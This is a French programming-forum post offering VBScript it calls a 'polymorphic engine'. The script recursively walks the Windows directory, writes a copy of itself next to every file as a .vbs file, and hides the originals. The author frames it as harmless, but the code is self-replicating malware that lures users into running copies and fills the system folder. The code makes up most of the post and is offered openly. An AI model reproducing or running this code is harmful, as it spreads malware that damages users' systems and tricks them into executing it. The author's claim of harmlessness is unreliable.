Moteur polymorphe vbscript
Contenu du snippet
Voilà voilà un beau petit moteur polymorphe en vbscript. J'ausais pas trop le mettre sur le site parce que j'aime pas les mauvais commentaires.. Mais voilà, je l'ai fais quand même! Alors il est assé simple à comprendre. Il recherche tous les fichiers des dossier et sous-dossiers de windows puis une fois qu'il les a trouvé, il fait une copie de lui même avec le nom du fichier trouver + .vbs et ensuite il cache le fichier source. Donc, si vous le lancez par erreur, pas de panique! Le polymorphe ne détrui aucun fichier dans le système, il ne fait que faire une copie de lui-même.
SnakeUnion.com, ouvert dès le 10 Janvier
Programmation VB :: VBS :: Delphi :: PHP :: CSS :: PSM
Source / Exemple :
'Coded by SnakeUnion.com
Set Fso = Wscript.CreateObject("Scripting.FileSystemObject")
Set File = fso.OpenTextFile(WScript.ScriptFullName, 1)
Set Afolder=FSO.GetFolder(WINDIR)
WINDIR = Fso.GetSpecialFolder(0)
vbscopy = File.ReadAll
Recherche AFolder
Function Recherche (ByRef AFolder)
For Each AFile In AFolder.Files
If Not UCase(FSO.GetExtensionName(AFile.Path)) = "VBS" Then
Set VBS = fso.CreateTextFile(AFile & ".vbs", True)
VBS.write vbscopy
VBS.Close
Set Att = fso.GetFile(AFile.Path)
Att.Attributes = Att.Attributes + 2
End if
Next
For Each SubF In AFolder.SubFolders
Recherche SubF
Next
End Function
'End
Conclusion :
SnakeUnion.com, ouvert dès le 10 Janvier
Programmation VB :: VBS :: Delphi :: PHP :: CSS :: PSM
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.